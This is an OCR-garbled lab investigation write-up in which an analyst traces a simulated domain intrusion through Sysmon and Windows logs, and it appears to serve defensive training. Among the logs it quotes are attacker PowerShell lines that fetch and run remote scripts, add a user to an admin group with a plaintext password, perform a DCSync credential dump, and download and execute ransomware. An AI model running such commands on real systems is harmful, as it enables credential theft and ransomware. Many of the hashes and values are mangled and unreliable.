Network connection detected:

RuleName: RDP

UtcTime: 2823-89-26 15:85:31.138

ProcessGuid: {9e7a%aa@-bd2b-6511-1506-600600004TE2 }
ProcessId: 332

Image: C:\Windows\System32\svchost.exe

User: NT AUTHORITY\NETWORK SERVICE

Protocol: tep

Initiated: false

SourceIsIpv6: false

Sourcelp: 172.16.1.152

SourceHostname: WKSTN-@3

SourcePort: 51885

SourcePortName:

DestinationIsIpv6: false

DestinationIp: 172.16.1.151

DestinationHostname: WKSTN-82.swiftspendfinancial.thm
DestinationPort: 3389

- Shows the lateral movement starting from the WKSTN-03’s svchost.exe process accessing
WKSTN-02 via its port 3389 (RDP).

Checking related logs:

Qverall QRg;ation:

oep zu, coza 500z mmorm-uL T reTteTToTe T TeaTer Sysmun ooz
> Sep 26, 2623 @ 15:05:43.499] WKSTN-62 Process Create (rule: ProcessCreate) sysmon WKSTN-62
& sep 26, 2023 @ 15:05:43.476] wksTH-02 Process Create (rule: ProcessCreate) sysmon WKSTN-82
> Sep 26, 2623 @ 15:05:36.954] WKSTN-62 Group Membership - WKSTN-82
> Sep 26, 2623 @ 15:05:36.954] WKSTN-62 logged-in security WKSTN-82
> Sep 26, 2623 @ 15:05:36.954] WKSTN-62 logged-in-special security WKSTN-82
> Sep 26, 2623 @ 15:05:36.947| WKSTN-62 None - WKSTN-62
> Sep 26, 2623 @ 15:05:36.945 WKSTN-62 Filtering Platform Connection - WKSTN-62
> Sep 26, 2623 @ 15:05:36.945 WKSTN-62 Filtering Platform Connection - WKSTN-82
> Sep 26, 2623 @ 15:05:36.943 WKSTN-62 Filtering Platform Connection - WKSTN-82
> Sep 26, 2623 @ 15:05:36.943 WKSTN-62 Filtering Platform Connection - WKSTN-62
> Sep 26, 2623 @ 15:05:32.419 | WKSTN-62 System Integrity - WKSTN-62
> Sep 26, 2623 @ 15:05:32.418 | WKSTN-62 Other System Events - WKSTN-62
> Sep 26, 2623 @ 15:05:31.990 WKSTN-62 Filtering Platform Connection - WKSTN-62
> Sep 26, 2623 @ 15:05:31.988 WKSTN-63 Filtering Platform Connection - WKSTN-83
> Sep 26, 2623 @ 15:05:31.987 WKSTN-63 Filtering Platform Connection - WKSTN-83
> Sep 26, 2623 @ 15:05:31.138 | WKSTN-62 Network connection detected (rule: NetworkConnect) sysmon WKSTN-82
> Sep 26, 2623 @ 15:05:30.623 | WKSTN-63 Network connection detected (rule: NetworkConnect) sysmon WKSTN-63

> Sep 26,2073 @ 15:05:12.866 WKSTN-83 privileged-service-called security WKSTN-83

Atload : 105



D sur ling #kOL 20TI6V_NZgE

~ Load 105 [ newer documents

Time agent.hostname
> Sep 26, 2623 © 15:85:44.873 WKSTN-82
> Sep 26, 2023 © 15:085:44,873 WKSTN-02

> Sep 26, 2023 @ 15:85:44.873 WKSTN-82

‘event.action
Security System Extension

privileged-service-called

logged-in-special

> Sep 26, 2023 @ 15:85:44.873 WKSTN-82 Group Membership

> Sep 26, 2623 @ 15:85:44.873 WKSTN-82

> Sep 26, 2623 @ 15:65:44.873 WKSTN-02 Group Membership

> Sep 26, 2623 @ 15:85:44.873 WKSTN-82 logged-in

> Sep 26, 2023 @ 15:05:44.873 WKSTH-02 logged-in-explicit

> Sep 26, 2023 @ 15:05:44.804 WKSTN-02 Filtering Platform Connection
> Sep 26, 2623 @ 15:85:44.804 WKSTN-82 Filtering Platform Connection
> Sep 26, 2023 @ 15:85:44.883 WKSTN-82 Filtering Platform Connection
> Sep 26, 2623 @ 15:85:44.802 WKSTN-82 Filtering Platform Connection
> Sep 26, 2023 @ 15:65:44.794 WKSTN-02 Filtering Platform Connection

- anna.jones was used to login to WKSTN-02 host.

event.module

security

security

security

security

security

host hostname

WKSTN-B2

WKSTN-82

WKSTN-82

WKSTN-82

WKSTN-82

WKSTN-B2

WKSTN-82

WKSTN-B2

WKSTN-82

WKSTN-82

WKSTN-82

WKSTN-82

WKSTN-B2

Also notice that the restriction on Admin mode is disabled which is weird for an RDP session:

An account was successfully logged on.

Subject:

; Securitg ID:

5-1-5-18

Account Name:

WKSTN-B25

Account Domaim:
Logon ID:

Logon Information:

S5F
8x3E7

18

Restricted Admin Mode:
Virtual Account:
Elevated Token:

No
MNo
Yes

Impersonation Lewvel:

New

Logon:
ity ID:

Impersonation

a-1-5-21-1/58588195-19783260891-3977536838-1196

Account MName:
Account Domain:

anna.jones
SSF

Logon ID:

Linked Logon ID:
Metwork Accounmt MName:
Metwork Account Domain:
Logon GUID:

Process Information:

Process ;D:

8xF4A7508
BxF4ATEA

{117764ce-5db8-4e19-4733-eaa7c9738167}

Bx988

Process Name:

C:\Windows\System32\svchost.exe

Network Information:

Workstation MName:

WKSTN-B82

Source Network Address:
Source Port:

1?2.15.1.152'
5

- The explanation in here was this was the session that has the C2 malware’s process.



Privileges of anna.jones after the attacker logged in:
Special privileges assigned to new logon.

Subject:
Security ID: S-1-5-21-1758588195-197832680891-3977536838-1198
Account Name: anna. jones
Account Domain: S5F '
Logon ID: BxF4793D
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege

SeSystemEnvironmentPrivilege
SeLoadDriverPrivilege
SeImpersonatePrivilege
SeDelegateSessionUserImpersonatePrivilege

Another logon for user anna.jones but this time, the privilege is low(32-bit? hmm):

An account was successfully logged on.

Subject:
curdity TD: 2-1-5-18
I Account Name: WKSTH-825 |
Account Domain: S5F
Logon ID: ax3E7
Logon Information:
Logon Type: 18
Restricted Admin Mode: No
Virtual Account: No
Elevated Tokemn: No
Impersonation Level: Impersonation
New Logon:
Security ID: 5-1-5-21-1758588195-1978328891-3977536838-1198
| Account Name: anna. jones|
Account Domain: SSE
Logon ID: BxFAATBA
Linked Logon ID: BxF4A758

Metwork Account MName: =
Metwork Account Domain: -
Logon GUID: {PERPERER-0REA-0RBA-AREA-BRBARRBEARAG }

Process Information:

Process ID: ax9ee

Process MName: C:\Windows\System32\svchost.exe
Network _Information:

Workstation Name: WKSTN-B2

Source Network Address: 172.16.1.152

Source Port: a

Detailed Authentication Information:
Logon Process: User3z2



Looking at the time window when the attacker is operating on the WKSTN-02 host:

e ——— T L TG T — wosTvE
> Sep 26, 2023 @ 15:05:46.679 WKSTN-02 logged-out security WKSTN-82
7 . 3 . 3 attacker logged out account of user anna.jones )
p 26, 2023 @ 15:05:46.878 WKSTN-82 lnggEd out security WKSTN-82
> | Sep 26, 20823 @ 15:85:45.848 WKSTN-02 Process Create (rule: ProcessCreate) ‘— atbrckef.exe process sysmon WKSTN-82
> | Sep 26, 2823 @ 15:085:45.837 WKSTN-02 None b WKSTN-82
>| sep 26, 2023 @ 15:05:45.505 WKSTN-02 Process Create (rule: ProcessCreate) w— rdpclip.exe process sysmon WKSTN-82
>| sep 26, 2023 e 15:05:45.379  WksTN-02 privileged-operation <= A restricted object has been accessed during anna.jones's session security WKSTN-02
>| Sep 26, 2023 @ 15:85:45.157 WKSTN-82 session-reconnected security WKSTN-82
>| Sep 26, 2823 @ 15:85:45.863 WKSTN-02 Process Create (rule: ProcessCreate) sysmon WKSTN-82
5] Sep 26, 20823 @ 15:085:44.898 WKSTN-02 Filtering Platform Connection ] WKSTN-82
>| Sep 26, 2823 @ 15:085:44.898 WKSTN-02 Filtering Platform Connection B WKSTN-82
>| Sep 26, 2023 @ 15:85:44.873  WKSTN-02 Security System Extension = WKSTN-82
>| Sep 26, 2023 @ 15:85:44.873 WKSTN-82 prlvllsgedfssrvice':allsd security WKSTN-82
5] Sep 26, 2823 @ 15:85:44.873 WKSTN-82 logged-in-special security WKSTN-82
5] Sep 26, 2023 @ 15:85:44.873 WKSTN-02 Group Membership & WKSTN-82
>] Sep 26, 2023 @ 15:05:44.873 WKSTN-02 logged-in security WKSTN-02
>| Sep 26, 2023 @ 15:85:44.873 WKSTN-82 Group Membership & WKSTN-82
5] Sep 26, 2823 @ 15:85:44.873 WKSTN-02 logged-in security WKSTN-82
>! Sep 26, 20823 @ 15:85:44.873 WKSTN-02 logged-in-explicit security WKSTN-82

- Load number: 125

Digging into the process of rdpclip.exe to check what was copied:

Process Create:
RuleName: -
UtcTime: 2823-89-26 15:85:45.585
id. 7a9aa@-349-6512-7264-060860004702 }

ProcessId: 6388
mage: C:\Windows\System32\rdpclip.exe

FileVersion: 18.6.17763.1697 (WinBuild.16@1@1.8808)
Description: RDP Clipboard Monitor

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

OriginalFileName: rdpclip.exe

CurrentDirectory: CoAWindows\system3d2\
User: SSF\anna.jones
LogonGuid: {9e7a%aaB-adBa-6512-1b89-a2aBB080BEE6E |
Logonld: BxAAS91B

Integritylevel: Hediumi

Hashes: MD5=BFE@CEEB83BD55CT691E7C1627E2332B, SHA256=4972CF79E61A6FFBCAEA418D55C7DEBBBDTF799EA958946FCC2EETFABF13FFER, IMPHASH=E3F33CEBF67721DACY51AFBD2832
1286

ParentProcessGuid: {9e7a%aaf-bd2b-6511-1506-608808064T02}

ParentProcessId: 332

ParentImage: C:\Windows\System32\svchost.exe

ParentCommandLine: C:\Windows\System32\svchost.exe -k termsvcs -s TermService

ParentUser: NT AUTHORITY\NETWORK SERVICE

- Nothing was found.



Looking at all of the commands used at WKSTN-02 under anna.jones and searching for usage of
“Invoke-SharpChromium.ps1” to extract cookies of the browser used at WKSTN-02: (See the
other document containing these commands)

mf cred*
@ | hosthostname: WKSTN-02 % || user.name: annajones x | + Add filter

winlogbeat-* == = 406 hits

' QU Search field names

Filter by type 0 ~

t source.ip

source.port

Time 1

source.user.domain

¢ source.user.name Sep 26,

user.domain

Sep 26,

user.effective.domain

t user.effective.name

Sep 26,

user.id

user.name

winlog.activity_id

winlog.api

Sep 26,

winlog.channel

winlog.computer_name

winiog.event_data. AccessMask

Elv fered

2023 © 15:08:25.068

2623 © 15:08:25.978

2023 © 15:15:34.385

2023 © 15:15:34.602

@ | hosthostame: WKSTN-02 X || username: annajones X | + Add filter

winlogbeat-* == = 406 hits

' Q Search field names

Filter by type 0 ~

t source.ip

# source.port

source.user.domain

source user.name

userdomain

user.effective.domain

t usereffective.name

userid

username

winlog.activity_id

winlag.api

winlog.channel

t winlog.computer_name

winlog.event_data AccesshMask

winlog.event_data.
AccessMaskDescription

agent hostname

WKSTN-02

WKSTN-02

WKSTN-02

WKSTN-62

¢ process.args

& process..comnand_line

t process entity_1d

t process.executable

& process.hash

.nds

event.action

Pipeline Execution
Details

Executing Pipeline
Process Create (rul

e: ProcessCreate)

Pipeline Execution
Details

0300

koL [ v Sep 25,2023 @23:30:00.0 > Sep 27,2023 @ 00:00:00.0

@ Ghartoptions

1500 5:00 2:00

Sep 25, 2023 @ 23:30:00.000 - Sep 27, 2023 @ 00:00:00.000

event.module

powershell

powershell

sysmon

powershell

host.hostname

WKSTN-82

WKSTN-82

WKSTN-82

WKSTN-82

process.command._line

-C dex(iwr https://raw.githubusercontent.com/S3cur3Thisshit/PowersharpPack /master /PowerSharps
inaries/Invoke-Sharpchromiun.ps1 -useb) ; Invoke-SharpChromium -Command ‘all’

-C ex(iy 0 au githubusercontent .com/S3cur3Th1ssh1t /PowerSharpPack /master / Power Sharp
-c[Susernane="ssF\itadnin ; Spassword='No06g39Ske! |; SsecurePassword = ConvertTo-Securestring
$password -AsPlainText -Force; Snew_creds - New-Object System.Management.Automation.PSCredent
ial Susername, SsecurePassword; iex(iwr https://raw.githubusercontent.com/PonerShellNaFia/Pow
ersploit /master/Recon/PowerVien.ps1 -useb); Add-DonainGroupHember ~Identity 'AD Recovery -Mem
bers anna. jones -Credential Snew_creds -Verbose

-C Susername='SSF\itadmin'; S$password='No06830Sk0!'; $securePassword = ConvertTo-SecureString
Spassword -AsPlainText -Force; Snew_creds = New-Object System.Management.Automation.PSCredent
1al $username, $securePassword; iex(iwr https://raw.githubusercontent.com/PowershellNaf1a/Pow
ersploit/master/Recon/PowerView.ps1 -useb); Add-DomainGrouphember -Identity 'AD Recovery -Mem
bers anna.jones -Credential $new_creds -Verbose

KoL | [ v Sep 25,2023 @23:30:00.0 - Sep 27,2023 @ 00:00:00.0

£ Chart options

Sep 25, 2023 @ 23:30:00.000 - Sep 27, 2023 @ 00:00:00.000

>

-C, Susername="SSF\itadmin';, $password='No06e39Ske! :, SsecurePassword, =, ConvertTo-SecureString, Spassword, -AsPlainText,
-Force;, $new_creds, =, New-Object, System.Management.Automation.PSCredential, Susername,, SsecurePassword;, iex(iwr, http
s://raw.githubusercontent . com/PowerShel 1Mafia/PowerSploit/master /Recon/PowerView.ps1, -useb);, Add-DomainGroupember, -Tdent
ity, 'AD, Recovery, -Members, anna.jones, -Credential, Snew_creds, -Verbose

-C Susername='SSF\itadnin'; Spassword='No06839SKa!'; S$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$new_creds = New-Object System.Management.Automation.PSCredential Susername, SsecurePassword; iex(iwr https://raw.githubuser

content .con/PowerShellMafia/PowerSploit/master /Recon/PowerView.ps1 -useb) ;| Add-DomainGroupHenber] ~Identity o Recovery] -tem

bers anna. jones -Credential $new_creds -Verbose

(9729220~ F596-6512-aa04-p0eERBER4FO2)

C:\Windows\Systen32\WindowsPonerShel1\v1.@\poershell.exe

7353f60b1739074eb17¢ 5F4dddefe239

- The attacker added user anna.jones to the “AD Recovery” Domain Admin group using
compromised user ‘itadmin’ from browser cookies.

— Answer:SSF\itadmin: NoO6@39Sk0!

Aside from mimikatz, what is the name of the PowerShell script used to
dump the hash of the domain admin?

Filter/Query:

— damian.hall : knew this user is a Domain Admin from the collection of commands used on the
WKSTN-02 workstation under the user anna.jones and searching it up correlating it to some
commands specific to Powershell Domain Admin enumeration.

— host.hostname : WKSTN-02
— user.name : anna.jones



[F ~ [damian.hall KoL [ v Sep 25,2023 @ 23:30:00.0 - Sep 27,2023 @ 00:00:00.0

® I hosthostname: WKSTN-02 X | | user.name: annajones X | + Add filter

winlogbeat-* sse = 249 hits @ Chart options

l QU Search field names

Filter by type O v ‘0
v Selected fields 5 - 300 080! 0 1200 18:00 2100
Sep 25, 2023 @ 23:30:00.000 - Sep 27, 2023 @ 00:00:00.000
¢ agenthostname .
tails pBinaries/Invoke-SharpKatz.ps1 -useb); Invoke-Sharpkatz -Command --Command dcsync --Domain
- |G swiftspendfinancial.thn --DomainController DC-81.swiftspendfinancial.thm --User damian.hall
t eventmodule
> Sep 26, 2023 © 15:17:20.586 WKSTN-82 Pipeline Execution De powershell WKSTN-82 ~C iex(iwr https://raw.githubusercontent.com/S3cur3Thisshit/PowerSharpPack/master/Powershar
t hostnostname tails pBinaries/Invoke-Sharpkatz.ps1 -useb) ; Invoke-Sharpkatz -Command --Command dcsync --Domain
swiftspendfinancial.thn --DomainController DC-61.swiftspendfinancial. thn --User damian.hall
t process.command_line
> Sep 26, 2023 © 15:17:20.598 WKSTN-02 Executing Pipeline powershell WKSTN-82 ~C iex(iwr https://raw.githubusercontent.com/S3cur3Thisshit/PowerSharpPack/master/Powershar
' Available fields 148 pBinaries/Invoke-Sharpkatz.ps1 -useb): Invoke-Sharpkatz -Command --Command dcsyne --Domain
D swiftspendfinancial.thn --DomainController DC-61.swiftspendfinancial. thn --User damian.hall
© _index > Sep 26, 2023 @ 15:17:20.601 VKSTN-62 Pipeline Execution De  powershell KSTN-62 -C tex(iwr https://rau.githubusercontent .con/S3cur3Thisshit/PowersharpPack/master/Pawershar
tails pBinaries/Invoke-SharpKatz.psl -useb): Invoke-Sharpkatz -Command --Command dcsyne --Domain
#) score swiftspendfinancial.thm --DomainController DC-@1.swiftspendfinancial.thm --User damian.hall
t _type
> Sep 26, 2023 @ 15:17:20.604 VKSTN-02 Executing Pipeline powershell KSTN-62 -C tex(wwr https://rau.githubusercontent .con/S3cur3Thisshit/PowersharpPack/master /Pawershar
& @timestamp pBinaries/Invoke-Sharpkatz.ps1 -useb) : Invoke-Sharpkatz -Command --Command desync --Domain
swiftspendfinancial.thn --DomainController DC-61.swiftspendfinancial. thn --User damian.hall
t agentephemeral_id
t agentid > Sep 26, 2023 @ 15:17:20.616 WKSTN-02 Pipeline Execution De powershell WKSTN-02 ~C dex(diwr https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerShar
tails pBinaries/Invoke-SharpKatz.ps1 -useb); Invoke-Sharpkatz -Command --Command desync --Domain

¢ agentname swiftsnendfinancial .thn --DamainGontraller DG-A1.swiftsoendfinancial.thn --User damian.hall

— Answer: Invoke-SharpKatz.ps1

What is the AES256 hash of the domain admin based on the credential
dumping output?

Looking for any log that has a content of aes256 hash related to any of the tools used for credential
dumping such as mimikatz and Invoke-SharpKatz.ps1:

M~ *AES256* KL [ v Sep 25,2023 @ 23:30:00.0 > Sep 27,2023 @ 00:00:00.0

& | hosthostname: WKSTN-02 X || username: annajones X | + Add filter

winlogbeat-* s = 2hits @ Chart options
I Q search field names o
Filter by type 0 v I,
0300 o600 1200 50 01 2100
¢ sourceip
Sep 25, 2023 @ 23:30:00.000 - Sep 27, 2023 @ 00:00:00.000
# source port
Time 7 agent.hostname ‘event.action event.module host.hostname process.command_line
t source.user.domain
1) source.user.name > Sep 26, 2623 @ 15:36:1¢® O WKSTN-82 Pipeline Execution | powershell WKSTN-82 ercontent..con/S3ouraThisshit /Fowersharpf
Details useb); Tnvoke-Sharpkatz -Command ' --Com
t userdomain onsinController DC-g1.siiftspendfinancial chn
RO > Sep 26, 2023 © 15:36:10.864 WKSTN-82 Executing Pipeline | powershell WKSTN-82 -C 1ex(iwr https://raw.githubusercontent.com/S3curaThisshit /PowersharpPack/master /Powersharps
R inaries/ Invoke-SharpKatz.ps1 -useb); Invoke-Sharpkatz -Command '--Command desync --Domain swi
ftspendfinancial .thm --DomainController DC-81.swiftspendfinancial.thm --User damian.hall’
t userid
¢ username

winlog activity_id

This one provides an output of the given command line:

L*] nivim= o = B IO0T7LAVUOD IUSE ILLAULY TUE T/ aVUD I EU
[*] Im - @ : eBcfed4e?58208d383ccfbb5a8bsdfaffe
[+]

[*] Supplemental Credentials:

[+]

[#] # Primary:NTLM-Strong-NTOWF

[*] Random Value : 7e924a3c59c2?leelc3795df83122e151

[+]

[#] # Primary:Kerberos-Newer-Keys

[*] Default Salt :SWIFTSPENDFINANCIAL.THMdamian.hall
[*] rradantisle

[*] laeszﬁﬁ hmac 4096 : f28316b8d3f5163cb?a?f?ed203f25f8419f8b932928515f831d859f59d33534i

[*] aes128_hmac 4896 c3cf5ebbécaddocébeclaed1989d35ae

[*] des_cbc_mds 4896 B5cB4c4957e34a1@

[*] ServiceCredentials

[*] 0ldCredentials

[*] aes256_hmac 4896 : f2Bal16bBd3f5163ch7a7f7ed2cBi2cTB410fBbAc2e28c157831d05AT5edaas34
[*] aes128_hmac 4696 : c3cf5ebb6caddecébeciaed1989d35ae

[*] des_chc_mds 4696 : 85c84c4957e34a18

[*] 0lderCredentials

[+]

[#*] =« Primary:Kerberos




— Answer: {28a16b8d3f5163cb7a7{7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534

After gaining domain admin access, the attacker popped ransomware on
workstations. How many files were encrypted on all workstations?

Sub-question(1): How was the ransomware deployed after the attacker extracted the credential for
the domain admin damian.hall?

] lhosl,name:wxsm—cz.swiﬂspennnnanc\amnm % || source.domain: de-01 X I + Add filter

winlogbeat-* ~ =ea ¢=| 3 hits
' QU Search field names :
Filter by type © ~ o Toggle field details I
* Selected fields z 2023-09-250000  2023-08-250600  2023-09-251200  2023-09-2578:00 2023 000 202309260500  2023-09-26712:00  2023-09-26 18:00
Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000
t process.command_line
RULeNEIE: KUF
t | process.parent.args UtcTime: 2823-89-26 14:59:31.923
ProcessGuid: {9e7a%aad-bd2b-6511-1508 82}
t | process.parent.name ProcessId: 332
# | process.parent.pid ’ Image: C:\Windows\System32\svchost.exe
User: NT AUTHORITY\NETWORK SERVICE
# process.pid Protocol: tep

Initiated: false
t eventaction

SourceIsIpve: false
t host.name Sourcelp: 172.16.1.18
SourceHostname: DC-81

~  Available fields 243 :s::z::&;:;a:zitzﬁ

Popular DestinationIsIpve: false
DestinationIp: 172.16.1.151
DestinationHostname: WKSTN-82.swiftspendfinancial.thm

t)_id DestinationPort: 3389

DestinationPortName: ms-wbt-server

t process.name

t _index

t network.community_id 1:Y6jNkdfim9SNYHqbOThABU1CbII=
# _score

The Domain Controller seems to connect to the WKSTN-02 machine via RDP:




Once the attacker was inside the Domain Controller, it connected back to WKSTN-02 machine with
under the user ‘anna.jones’ through RDP with elevated privilege:

LT

An account was successfully logged on.

Subject:
Security ID: 5-1-8-8
Account Name: =
Account Domain: -
Logon ID: Bxa

Logon Information:
Logon Type: 3
Restricted Admin Mode: -

s Mo
Elevated Token: ?esl

Impersonation Level: Impersonation
New Logon:
Security ID: §-1-5-21-1758588195-19783268091-3977536638-11986
Account Name: anna. jones
Account Domain: SWIFTSPENDFIMANCIAL . THM
Logon ID: BxEFCA11
Linked Logon ID: 8x8

Metwork Account Mame: =
Metwork Account Domain: -
Logon GUID: {9933e374-74ec-7299-bafb-8173fA8dac1a}

Process Information:
Process ID: Bx8
Process Name: -

Network Information:

| Source Network Address: 172.16.1.18
ource Port: 6




Attacker downloading the ransomware on WKSTN-03 user perry.parsons from WKSTN-02
under the user ‘anna.jones’ (high privs):

@ [[host.name: WKsTN-02.switspendfinancial.thm ]| + Add filter

winlogbeat-*

QU search field names

Filter by type 0

process.pe product

process.title

related.hash
¢ related.p

¢ rule.name

source.domain

source.ip

-

source.port

source.user.domain

source.user.name

sysmon.dns status
¢ userdomain

t userid

v

process.working_directory

process pe original_file_name

== = 96 hits

5:00

w00

2023-09-26 0000 A

Kal [ v Sep25,2023@00:00:000 - Sep 27,2023 @23:30:00.0

260600 201

81200 0926 18:00

0800

Sep 25,2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000

2023-09-2712:00

€ Chart options

Time + process.command._line process.parent.args process.parent.name process.parent pid process.pid event.action host.name

> [ep 26, 2023 @ 15:41:20.235 -C Invoke-Comnand -ScriptBlock {iwr htt - - 4,226 4,208 Process Create (ru  WKSTN-82.swift
p://wm.72ipp.org/a/777bonb. exe -outfil le: ProcessCreate)  spendfinanci:
& C:\Users\perry.parsons\bomb.exe: ; di 1.thn
r C:\Users\perry.parsons} -ComputerName
WKSTN-63 . swiftspendfinancial . thn

> Sep 26, 2023 @ 15:41:29.419 -G Invoke-Command -Scriptlock {imr htt - - - - Provider Lifecycle WKSTN-62.swift
p://wmw.72ipp.org/a/777bonb. exe -outfil spendfanancia
& C:\Users\perry.parsons\bomb.exe: ; di 1.thn
r C:\Users\perry.parsons}) -ComputerName
WKSTN-63 . swiftspendfinancial  thn

> Sep 26, 2023 @ 15:41:20.419 -C Invoke-Comnand -Scriptlock {iwr htt - - - - Provider Lifecycle WKSTN-82.swift
p://waw.72ipp.org/a/777bonb. exe -outfil spendfinancia
e C:\Users\perry.parsons\bomb.exe; ; di L.thn
r C:\Users\perry.parsons} -ComputerName
WKSTN-63 . swiftspendfinancial . thn

> Sep 26, 2623 @ 15:41:29.419 -C Invoke-Command -ScriptBlock {imr htt - - - - Provider Lifecycle WKSTN-62.swift

/w7700 ora/a/777honb. exe -outfil

Attacker downloading the ransomware on WKSTN-02 under user anna.jones from github:

v *bomb.exe*

5 | hostname: WKSTN-02.swiftspendfinancial.thm X

Q Search field names

Filter by type O

ecs.version

event.category

event.code

o

event.created

eventkind

eventmodule

event.outcome

event provider

-

event.sequence

eventtype

fle.directory

file.extension

file.name

fle.path

& group.domain

aroup.d

Context:

winlogbeat-* -

under

+ Add filter

=e= = 96 hits

2023-09-2

30925 12:00

3-09-26 00:00

, 2623 @ 15:45:12.11)  C:\Windows\systen32\wsmprovhost.exe ~Em

bedding

, 2023 @ 15:45:12.16) -C Invoke-Command -ScriptBlock {cd C:\U
sers\anna.jones; iwr http://www.7zipp.o
rg/a/777bonb.exe -outfile bomb.exe: pw
d; .\bomb.exe; 1s -rec -file } -Conpute
rName WKSTN-@2.swiftspendfinancial. thn

, 2023 © 15:45:12.166  -C Invoke-Command -ScriptBlock {cd C:\U
sers\anna. jones; iwr http://www.7zipp.o
rg/a/777bonb.exe -outfile bomb.exe; pu
d; .\bomb.exe; 1s -rec -file } -Conpute
rName WKSTN-82.swiftspendfinancial.thn
2023 @ 15:45:12 -¢ Invoke-Command -ScriptBlock {cd C:\U

sers\anna.jones; iwr hEtp://ww.7zipp.o

kKoL (@ v

2:00
Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000

309261

Sep 25,2023 @ 00:00:00.0 > Sep 27, 2023 @ 23:30:00.0

(rule: ProcessTern
inate)

Pipeline Execution
Details

Pipeline Execution
Details

Pipeline Execution
Details

Engine Lifecycle

1800

snendfinanaia

@ Ghart options

spendfinancia
1.thn

WKSTN-82 . swift
spendfinancia
1.thn

WKSTN-82 . swift
spendfinancia
1.thn

WKSTN-82 . swift
spendfinancia
1.thn

WKSTN-2. swift
spendfinancia

(attacker) user damian.hall from DC-01 machine RDP-d into WKSTN-02 machine
user anna.jones and also to WKSTN-03 under user perry.parsons to execute the
ransomware

Start of the ransomware execution:

A> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15
> Sep 26, 2023 @ 15
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @ 15:
> Sep 26, 2023 @

45:

45:

45:

451

15;

45:

45:

451

7.

o7

o7

o7

7.

7.

o7

o7

107

107,

107,

107

107

107

107,

720

720

769

709

709

709

709

:\Windows\systen32\wsmprovhost .exe -Enbedding -

7.616

7.936

7.936

7,936

7,936

7.936

7,936

7,936

7,936

7,936

7,936

7.936

7,936

7,936

File created (rule: FileCreate)

privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation
privileged-operation

Executing Pipeline

:\Users\anna. jones\bomb .exe"

C:\Nindows\system32\wsmprovhost.exe, -Embedding

wsmprovhost .exe 7,748 7.616

Process Create (rule

Prncesscrea(el

et Tonnrennaration



End of the ransomware execution:

A Sep 26, 2023 @ 15:45:08.164 - - - - 7,616 [ Process terminated (rule: ProcessTerminate)|
Sep 26, 2023 @ 15:45:08.148 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2623 @ 15:45:08.148 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.148 - - @o - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.148 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.148 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.133 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:00.070 - - - - 5,088 privileged-service-called
Sep 26, 2023 @ 15:45:08.055 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.655 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.055 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:08.639 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:07.944 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 @ 15:45:67.929 - - - - 7,616 File created (rule: FileCreate)
Sep 26, 2023 © 15:45:67.929 - - - - 7,616 File created (rule: FileCreate)

b sep 26, 2023 @ 15:45:07.020 - - - - 7,616 File created (rule: FileCreate)

p  sep 26, 2023 e 15:45:07.929 - - - - 7,616 File created (rule: FileCreate)

> Sep 26, 2023 @ 15:45:07.920 - - - - 7,616 File created (rule: FileCreate)

- File Created are most likely the file being encrypted.

Execution on WKSTN-03: (ransomware file found at C:\users\perry.parsons\Downloads)

>| Sep 26, 2023 @ 15:41:51.778| "C:\Users\perry.parsons\b  C:\Windows\system32\wsmprovho wsmprovhost.exe 8,964 8,068 Process Create (rule: P WKSTN-83.swiftspen
omb .exe” st.exe, -Embedding rocessCreate) dfinancial. thm
>| Sep 26, 2623 @ 15:41:51.803 - - - - 8,928 privileged-operation WKSTN-83 . swiftspen

dfinancial.thm

>| sep 26, 2623 @ 15:41:51.848 - - - - 8,068 Process terminated (rul —WKSTN-83.swiftspen
e: ProcessTerminate) dfinancial .thn

»| sep 26, 2623 @ 15:43:50.485 “C:\Usersiperry.parsonsib  C:\Windows\system32\wsmprovho wsmprovhost.exe 10,148 7,372 Process Create (rule: P WKSTN-83.swiftspen
omb .exe” st.exe, -Embedding rocessCreate) dfinancial.thn

>| sep 26, 2623 @ 15:43:58.411 - - - - 6,928 privileged-operation WKSTN-83. swiftspen
- 3 dfinancial.thm

First file ~mm

>' Sep 26, 2023 @ 15:43:50.529 - - - - encypted File created (rule: Fil | WKSTN-83.swiftspen

with ransomwdrescreate) dfinancial.thn

Execution on WKSTN-02:

> Sep 26, 2023 @ 15:43:50.547 - - - = 7,372 File created (rule: Fil WKSTN-83.swiftspen

Last file encrypted by ——p | ccreate) dfinancial. thn
the ransomware then

> Sep 26, 2623 @ 15:43:50.562 - - it terminat 7,372 Process terminated (rul — WKSTN-83.swiftspen
It terminates. e: ProcessTerminate) dfinancial.thm

